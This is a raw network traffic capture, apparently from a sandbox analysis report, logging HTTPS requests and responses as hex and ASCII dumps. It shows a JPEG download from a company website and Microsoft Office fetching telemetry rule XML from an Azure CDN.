2024-10-07 11:17:46 UTC	660	OUT	GET /2016/wp-content/uploads/2015/08/forming-analysis-hero.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299857.0.0.0
2024-10-07 11:17:46 UTC	234	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:46 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:52:51 GMT Accept-Ranges: bytes Content-Length: 84111 Content-Type: image/jpeg
2024-10-07 11:17:46 UTC	7958	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 32 00 00 ff e1 03 81 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*Ducky2http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xm
2024-10-07 11:17:46 UTC	8000	IN	Data Raw: 2b ff 00 5a ae be c9 fc 5e 1a 36 57 4e 27 57 fc 89 47 ed a3 06 12 ea 23 80 07 ed a2 ee 16 30 44 a5 4b ea e4 6c 29 4b d8 f6 d3 71 83 36 dc c6 45 88 f4 93 56 f9 2d 70 07 dc b0 c2 35 1d e2 e7 c6 a5 1e e1 f5 0b 9b 0b e4 05 be 95 0f 6d fe f9 55 23 99 1f 65 6f 42 29 c6 5c 79 28 27 eb 6a 78 0c 99 3a e9 94 e3 75 6c 45 f1 a1 14 56 e0 29 b6 08 f0 86 d2 5c c7 cc d8 9f 95 e8 22 51 f7 63 51 f3 6f ad 24 c1 8b 2e cb 6d 2b e9 75 f5 61 71 9d 28 fd 13 70 8c c2 16 36 07 02 c2 de 35 6d ef 48 78 db b0 00 3e 95 bd c0 f7 11 25 c7 0c 18 53 f2 72 35 67 05 27 fb 6f 52 4f fd 78 97 90 2d fd 29 98 76 3b e9 10 c5 26 e0 5b 30 50 13 f2 d5 4e 64 3b 2a 51 be 96 19 dc 1b d3 6d 87 9b e1 09 2f 4e db 28 fd 5d 72 9e 3a 9a c3 e4 b5 31 b0 d9 a9 fd 38 15 4f 3c 49 f1 34 fc 90 38 72 63 52 55 b1 ec Data Ascii: +Z^6WN'WG#0DKl)Kq6EV-p5mU#eoB)\y('jx:ulEV)\"QcQo$.m+uaq(p65mHx>%Sr5g'oROx-)v;&[0PNd;*Qm/N(]r:18O<I48rcRU
2024-10-07 11:17:47 UTC	8000	IN	Data Raw: e1 7a e6 b6 92 b4 89 ed 4a a4 61 81 34 ce c7 71 2e c6 6d 12 ba ac 77 c0 93 8d 73 5a 9a f2 61 d9 5b 34 9a 93 a4 97 6e 19 7d c0 2c c3 3a ab dd 06 80 8d d4 07 d3 98 ab bd b4 fb 69 d0 7e a5 cf 25 17 a0 6e 60 8d 49 31 c6 ce 8d 98 26 b2 4e 30 60 93 4e 2c d2 f9 9f e0 ad 9b 73 17 53 da 16 5b 09 50 79 87 1a e1 ba b7 4d dc ee f7 0b 2c 4d 7d 38 18 da f6 ae cc ec a7 83 72 1f 6d 10 11 c8 72 17 bd fb 68 d2 f4 4d e3 49 ad e4 58 d4 e2 55 40 bd 6d d7 75 47 8f 75 26 fe 55 49 5a 74 c1 c6 f4 ee 99 bd 47 0e cb 61 c4 70 ae af 69 b4 93 71 19 8d 82 83 6e 77 a3 08 7a 6e d4 1f dc 4a 65 6f c3 7a 2a 75 28 95 48 da 42 a9 c8 9e 34 ef d9 6b e6 0c ed 64 f4 ab 7f 30 57 7f b3 cc 35 24 cc 15 79 d8 d3 1d 39 ba 1f 4f 6b 39 32 c8 b9 b3 5b 3a ad dd 6f 37 b3 4e 4c ee 6d 90 03 01 55 d3 0f 6e 6d Data Ascii: zJa4q.mwsZa[4n},:i~%n`I1&N0`N,sS[PyM,M}8rmrhMIXU@muGu&UIZtGapiqnwznJeoz*u(HB4kd0W5$y9Ok92[:o7NLmUnm
2024-10-07 11:17:47 UTC	8000	IN	Data Raw: c5 bd dc 45 10 92 27 3e 53 88 bd 16 a3 99 58 66 8e a9 ac 7b 9b df 74 1d de cc 97 00 34 5c 4d c5 c7 c2 ab c2 c2 0d 9e 5b 9e 40 7f 5a ea b6 1d 5b 6d bb 40 93 00 18 e6 0f 1a 87 51 e8 10 ee 54 cd b5 21 5f 90 ca 85 76 9c 5b 04 2e c8 71 65 1e a5 04 4d 13 ab 44 01 23 f3 52 de e9 4f 2a c6 a9 6e 36 b9 f1 a2 34 13 6c a6 0b 3a e9 b6 17 e0 6a 33 44 c6 5b a2 96 0d 8e 15 6a 3e a6 ba ac 10 33 c8 45 8b 91 c8 0c 3e 95 18 d9 83 02 c6 e7 b7 1a 98 82 40 3c d6 5e d6 35 ad 11 ae 2f 28 c3 f0 82 6a b0 19 0d ba 5f 72 20 f6 c4 52 40 6a 35 61 11 59 10 c6 b7 23 33 ab 0b d0 15 bd b9 0a 2c 4a 2d 91 38 fd 69 27 b0 df 20 4c 06 d8 0b 93 c8 5e a7 14 12 a9 20 a1 00 8c 49 ab 00 65 75 f5 db b8 5a b1 36 a5 88 62 6e 6f c6 a5 d8 9f 24 8a 67 da 7b 6c 4b 48 aa 39 66 68 2c 23 18 02 ce 7b 05 ab a7 Data Ascii: E'>SXf{t4\M[@Z[m@QT!_v[.qeMD#RO*n64l:j3D[j>3E>@<^5/(j_r R@j5aY#3,J-8i' L^ IeuZ6bno$g{lKH9fh,#{
2024-10-07 11:17:47 UTC	8000	IN	Data Raw: c1 9d c5 6e 32 a9 a4 53 31 ba 21 3d b9 7d 6a 7f b8 64 25 63 8d 63 b1 b6 57 34 37 96 57 f5 39 3d 80 d8 78 51 90 c0 c4 f0 06 d3 23 ba c7 85 9c 9c 71 a1 5b 68 b9 b3 c9 dc 2c 2a 50 da 48 de 23 c7 15 ef a5 c7 2e 39 11 42 5b 48 0d ed f7 49 14 83 da 85 57 b5 b1 35 6d 24 d2 85 49 23 72 aa 7d 40 73 aa 25 8a 63 62 14 80 38 9c 3e b5 73 b4 02 6d bb 46 ce ba b3 1a 4d ed 6a c7 ba ab 16 fa 8d 37 a7 23 90 ca 64 16 72 5b bc 93 4b ee 90 58 b2 e1 da 2b 50 c9 12 1b 10 ee 47 33 a4 53 0f 30 2a 74 46 8b da 46 a3 f3 35 86 8c 98 87 32 17 a4 ee 5a c1 54 5c 9c 08 19 d4 ba ac 32 31 0e 6c bc cb 10 2a aa 39 e4 8e 62 0b 60 d9 11 87 d2 9f 76 59 e1 e6 79 d1 0e 64 76 49 59 5b 92 8f a9 f4 7d 97 53 84 45 ba 94 e0 6e ad 10 24 83 f1 c2 a5 d3 ba 54 3d 2b 6c 34 3b ee 14 9b 59 ce 90 3e 0b 4c 64 Data Ascii: n2S1!=}jd%ccW47W9=xQ#q[h,PH#.9B[HIW5m$I#r}@s%cb8>smFMj7#dr[KX+PG3S0tFF52ZT\21l*9b`vYydvIY[}SEn$T=+l4;Y>Ld
2024-10-07 11:17:47 UTC	8000	IN	Data Raw: 3c 5c d2 ab 1f 3f c8 b7 52 e9 6d 11 36 89 42 fd d7 02 f5 4a d0 cc 03 23 1c 7e e9 18 7d 2b d1 07 b7 b8 8e d6 0e a7 96 35 55 bb e8 8e 0f bb 0a 5d 3e f2 9c 2d dd 4e bd bb 32 ba bb 6c dc 34 df b2 3c f6 c6 e5 5c 9b 8e 78 d0 de 24 6b 12 31 e7 c6 af 3a 97 48 f6 e4 32 2b 08 c1 c4 a9 b9 3f 0a aa 29 02 5c 31 76 3d 82 d5 d3 5b ca 94 6c 20 f1 14 37 38 0a 34 24 49 13 44 4d c8 ca 8f ae 21 e9 84 7f ac de f4 1b 37 ba 24 46 d2 38 a0 18 56 8a ef 70 85 c8 b2 c3 31 c0 21 c3 8e 42 a4 60 61 eb 75 4e f3 7f a5 6f 74 1d 65 c4 b5 8f 02 4d 0a d5 a2 73 92 5e 02 69 81 73 91 98 fe 51 6f ad 30 8c 92 44 54 2d f4 e2 03 1b d2 74 6d bc 81 64 03 81 c2 86 81 32 23 71 25 ac a1 63 b7 e1 02 a0 d2 48 fe a7 27 e3 53 96 17 12 90 88 58 1c 6e 2b 0c 12 0f 51 54 fe e2 3e ca 30 19 06 05 32 df ad b6 fc Data Ascii: <\?Rm6BJ#~}+5U]>-N2l4<\x$k1:H2+?)\1v=[l 784$IDM!7$F8Vp1!B`auNoteMs^isQo0DT-tmd2#q%cH'SXn+QT>02
2024-10-07 11:17:47 UTC	8000	IN	Data Raw: d2 e0 35 59 79 2d 87 d2 84 90 4a 1d 94 29 20 1c 1b 85 a8 c2 21 7f d4 75 5b 72 37 3e 14 60 59 0e aa 65 db 90 31 64 c4 5f 3b 50 0d b3 06 c6 99 85 a1 42 34 b3 35 f0 38 00 2a 12 11 14 8c 89 12 8b 62 18 8b 9f 1a 49 e4 3d 44 a4 db 97 b1 45 2c 7f 28 bd 47 da 90 c2 51 86 87 43 75 27 97 6d 32 f3 4b 6c 5c d8 f0 18 7d 28 29 84 81 ad 9e 04 f6 56 8a ce 21 89 40 9b c9 18 b7 b9 26 af ec 1f 69 a8 eb 84 db 4a 6a 3c d8 fd 82 8d b8 d9 ba bb 22 e4 71 17 ca c6 92 6d ae ed 31 58 cb 0e 60 1a 6f c7 66 5d 78 dc 71 66 99 63 6d 16 05 71 f2 8e 15 89 3f bd 6d 4c 4f 7d 0f 6c cc 1a d2 95 5b e0 54 9c 6b 52 c4 90 bd ae c4 e7 60 2c 2d df 52 36 b9 18 06 c7 95 34 c0 4d b7 c3 16 5f 8d 22 9b b4 b8 1e d0 04 71 63 7a 73 6f 31 2e 03 5b 4b 61 86 00 52 7c 8b 4f 91 49 36 4d 2a 82 ea 13 93 31 02 96 Data Ascii: 5Yy-J) !u[r7>`Ye1d_;PB458bI=DE,(GQCu'm2Kl\}()V!@&iJj<"qm1X`of]xqfcmq?mLO}l[TkR`,-R64M_"qczso1.[KaR\|OI6M1
2024-10-07 11:17:47 UTC	8000	IN	Data Raw: 5b 1a de bd b3 b7 d4 ba f6 ad dc fb 1c ac 49 2d ee 23 61 6e 27 0a 2e e6 20 d6 90 b8 51 c4 e7 4e 6e 3a 7b ea d4 1c 9e f3 85 6c 6c f5 ed da 36 18 8c aa dd b4 66 aa c9 e8 54 b7 b0 bf 79 a4 e7 c0 52 b2 ef 44 67 f4 e3 51 6e 27 1a 2c f1 90 4a 01 60 2a bd e3 69 1f db 51 71 d9 8d 5a 2a b0 10 75 19 99 86 a6 c0 f0 18 0a 0e e1 e5 32 5c 12 41 a1 6e 1e 0d 89 1f ba 3a 2f 90 35 71 b3 83 69 be db 09 63 99 58 2e 65 71 b5 53 85 92 de 14 c6 0a 95 86 59 32 bd 1a 3e 9d 23 e6 33 ab fd b4 5b 44 38 23 3f 7e 02 ae 20 8c 32 7e 94 48 8d 90 b0 b9 a8 76 8d 8c ed d9 07 39 b2 e9 47 15 2a 74 b7 1b 7d b5 6b d3 7f 8c 6e b7 32 15 45 0a 97 f5 35 75 7d 33 a0 c8 e5 67 de b1 d3 98 4c af df 5d 2c b1 6d b6 b1 89 11 56 34 03 13 95 61 7e f8 71 5d cc 6d dd 35 6d 67 c4 a9 e9 1f c7 3a 7f 4c 51 24 8d Data Ascii: [I-#an'. QNn:{ll6fTyRDgQn',J`iQqZu2\An:/5qicX.eqSY2>#3[D8#?~ 2~Hv9G*t}kn2E5u}3gL],mV4a~q]m5mg:LQ$
2024-10-07 11:17:47 UTC	8000	IN	Data Raw: 1b 0b 99 5f ee 9d 23 88 51 6a 63 6c c1 b5 46 c6 fa 85 08 c2 57 fc 8c ab de 6e 7e 42 b2 33 14 4d 75 2c c4 7f a4 50 c6 81 30 d0 e5 0f 03 58 16 47 3e 45 27 b4 65 4c 6e 99 a3 21 e3 03 cf 9b 58 5e 95 69 58 e2 ec 49 a1 64 06 51 09 47 89 c8 c7 10 01 b9 1f 2a 00 31 2e 00 33 91 f8 bc a3 c2 a1 1c 9a 18 30 c2 c7 c2 b5 b8 f2 cb 75 c4 36 20 0c 69 c0 c2 7b c5 7d 0a a9 7e 20 63 f3 35 3d 7e f4 2c a5 b5 3a 62 0f 3a 4c ac 96 bb 79 47 36 36 ad 24 d1 c4 de 69 2f cf 48 c3 e6 69 c0 d2 66 de 4b 0c 3e 22 81 21 d6 6e 82 ff 00 db 8d 46 7d e4 30 b9 55 50 df 99 8d e9 09 ba a1 20 8d 56 03 f0 e0 3c 29 a1 aa 32 c9 d9 da 35 77 22 37 8f 02 58 f0 f8 52 f2 f5 4d bc 62 c5 cc 87 f2 8b 0f 99 aa 76 de b3 ea 50 70 6c f1 a4 b4 ca c6 c0 1b 8e 14 e0 d1 75 ad cb 39 fa cb 1c 21 40 3b 4e 27 c6 91 dc Data Ascii: _#QjclFWn~B3Mu,P0XG>E'eLn!X^iXIdQG*1.30u6 i{}~ c5=~,:b:LyG66$i/HifK>"!nF}0UP V<)25w"7XRMbvPplu9!@;N'
2024-10-07 11:17:47 UTC	8000	IN	Data Raw: ed 43 73 9d 71 93 8f 7f e3 bb 74 bb 47 aa 53 c3 85 06 5e 93 bc 48 0b c7 1e 92 32 16 be 15 da 36 d5 33 53 6a 2e d7 6e c0 95 27 52 91 c6 a9 f6 d9 29 79 f7 0a 77 37 68 c6 78 3c ca 5d b6 fa d6 93 57 76 54 03 04 83 35 c7 c6 bd 48 f4 f4 b9 f7 55 02 f6 e7 41 1d 27 a7 ea 2d 22 fb 83 80 02 c2 ad 77 ae 3e 81 fb 6d fe 4a 3d d9 e7 08 93 44 ea f2 29 50 70 bd ab 53 c2 e2 6b 22 96 0d 8d c5 7a 6b 6d 36 6d 17 b2 36 e9 a7 81 61 72 29 2d d7 f1 ed b4 90 86 8c 95 e7 47 ee 53 95 13 82 ab db 56 9e f1 9c 1e 7b fb 69 47 f9 34 a0 fc c7 1f 95 62 ac 09 9b 34 87 86 91 61 e3 5d 93 7f 16 8c 03 ed b8 b9 ce f4 31 fc 58 01 7d 62 f5 7f b6 bc 8b f7 d0 e6 54 96 db 96 45 00 a7 a4 36 36 a0 96 96 45 f3 39 1d 83 01 e1 5d c6 db f8 c4 37 2a 5b 02 31 b0 c2 a0 7f 89 46 ac 6f 2a aa 8f 4e ac fe 42 a7 Data Ascii: CsqtGS^H263Sj.n'R)yw7hx<]WvT5HUA'-"w>mJ=D)PpSk"zkm6m6ar)-GSV{iG4b4a]1X}bTE66E9]7[1FoNB

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	50041	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:49 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:17:49 UTC	561	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:49 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Sun, 06 Oct 2024 16:59:23 GMT ETag: "0x8DCE6283A3FA58B" x-ms-request-id: 86eceaf5-401e-00a3-6fa2-188b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T111749Z-1657d5bbd48gqrfwecymhhbfm8000000029g000000003q9n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-07 11:17:49 UTC	15823	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-07 11:17:49 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <S T="1" F="0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L>
2024-10-07 11:17:49 UTC	16384	IN	Data Raw: 3c 53 20 54 3d 22 33 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d Data Ascii: <S T="3" /> </T> <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-
2024-10-07 11:17:49 UTC	16384	IN	Data Raw: 6e 74 73 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a Data Ascii: nts" /> </C> <C T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" />
2024-10-07 11:17:49 UTC	16384	IN	Data Raw: 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: </S> <C T="U32" I="0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32"
2024-10-07 11:17:49 UTC	16384	IN	Data Raw: 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 Data Ascii: _Count"> <C> <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S
2024-10-07 11:17:49 UTC	16384	IN	Data Raw: 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 Data Ascii: <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3"
2024-10-07 11:17:49 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 Data Ascii: </L> <R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false
